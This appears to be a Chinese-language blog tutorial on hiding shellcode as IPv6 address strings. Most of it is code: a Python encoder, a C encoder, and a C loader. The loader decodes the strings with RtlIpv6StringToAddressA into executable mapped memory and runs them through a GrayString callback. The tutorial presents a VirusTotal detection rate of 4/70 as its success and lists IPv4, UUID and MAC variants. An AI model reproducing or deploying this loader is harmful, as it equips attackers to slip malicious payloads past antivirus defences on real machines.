0x00.前言
众所周知 IPV6的格式为
0
|
xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx
|
每个部分有4个十六进制数组成 相当于2byte
0x01.原理
我们可以将shellcode转换为这样的格式 然后利用windows的API RtlIpv6StringToAddressA
进行将我们IPV6字符串转化为十六进制的shellcode 存在堆栈或者段中然后执行
0x02.实践
在Python中我们可以利用ipaddress下的IPv6Address 类的构造函数进行将十六进制的字符串转化为shellcode
具体实现代码:
0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
import ipaddress
buf = b'''\xff\x0A\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff'''
def convertToIPV6(shellcode):
if len(shellcode)%16 !=0:
print("shellcode大小:",len(shellcode)+(16-(len(shellcode)%16)))
addNullbyte = b"\x00" * (16-(len(shellcode)%16))
shellcode += addNullbyte
ipv6 = []
for i in range(0, len(shellcode), 16):
ipv6.append(str(ipaddress.IPv6Address(shellcode[i:i+16])))
print(ipv6)
if __name__ == '__main__':
r = convertToIPV6(buf)
print(str(r).replace("'","\""))
|
0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
#include "stdafx.h"
#include <windows.h>
#include <stdint.h>
#include <ip2string.h>
#include <stdio.h>
#pragma comment(lib,"ntdll")
typedef struct in6_addr {
union {
UCHAR Byte[16];
USHORT Word[8];
} u;
} IN6_ADDR, *PIN6_ADDR, *LPIN6_ADDR;
int main()
{
DWORD nread;
uint8_t * payload;
int idx, nitem = 0;
SIZE_T remainder, multiple = 16;
in6_addr * ip6;
char buffer[20];
HANDLE file = CreateFile(L"shellcode.bin", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
SIZE_T payload_len = GetFileSize(file, NULL);
remainder = payload_len % multiple;
if (remainder)
{
payload_len += (multiple - remainder);
}
payload = (uint8_t*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, payload_len);
ReadFile(file, payload, payload_len, &nread, NULL);
ip6 = (in6_addr*)payload;
printf("{ \n");
for (idx = 0; idx < payload_len; idx += multiple, nitem++, ip6++)
{
RtlIpv6AddressToStringA(ip6, buffer);
printf(" \"%s\",\n", buffer);
}
printf("}\n");
printf("item-size: %d\n", nitem);
HeapFree(GetProcessHeap(), 0, payload);
return 0;
}
|
然后就是我们的Loader
先是用CreateFileMapping
来创建文件映射 MapViewOfFile
来将文件映射的视图映射到调用进程的地址空间。
然后利用回调函数执行我们的shellcode
0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
#include "stdafx.h"
#include <Windows.h>
#include <iostream>
#include <ip2string.h>
#pragma comment(lib, "Ntdll.lib")
typedef struct in6_addr {
union {
UCHAR Byte[16];
USHORT Word[8];
} u;
} IN6_ADDR, *PIN6_ADDR, *LPIN6_ADDR;
const char* payload[] =
{
/* 这里写ipv6的shellcode*/
};
int main()
{
size_t itemlen = sizeof(payload)/sizeof(char*);
PCSTR terminator = "";
HANDLE mapfile = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, (DWORD)0x10000, NULL);
PVOID sc = MapViewOfFile(mapfile, FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE, 0, 0, 0x10000);
in6_addr* ipv6ptr = (in6_addr*)sc;
for (size_t i = 0; i < itemlen; i++)
{
ipv6ptr++;
RtlIpv6StringToAddressA(payload[i], &terminator, ipv6ptr);
}
GrayString(0, 0, (GRAYSTRINGPROC)sc, 1, 2, 3, 4, 5, 6);
return 0;
}
|
0x02.效果
Virustotal: 4/70
0x03.举一反三
如同类似的还有 ipv4/uuid/网卡地址
API:
RtlEthernetStringToAddress
RtlIpv4StringToAddress
RtlIpv6StringToAddress
UuidFromString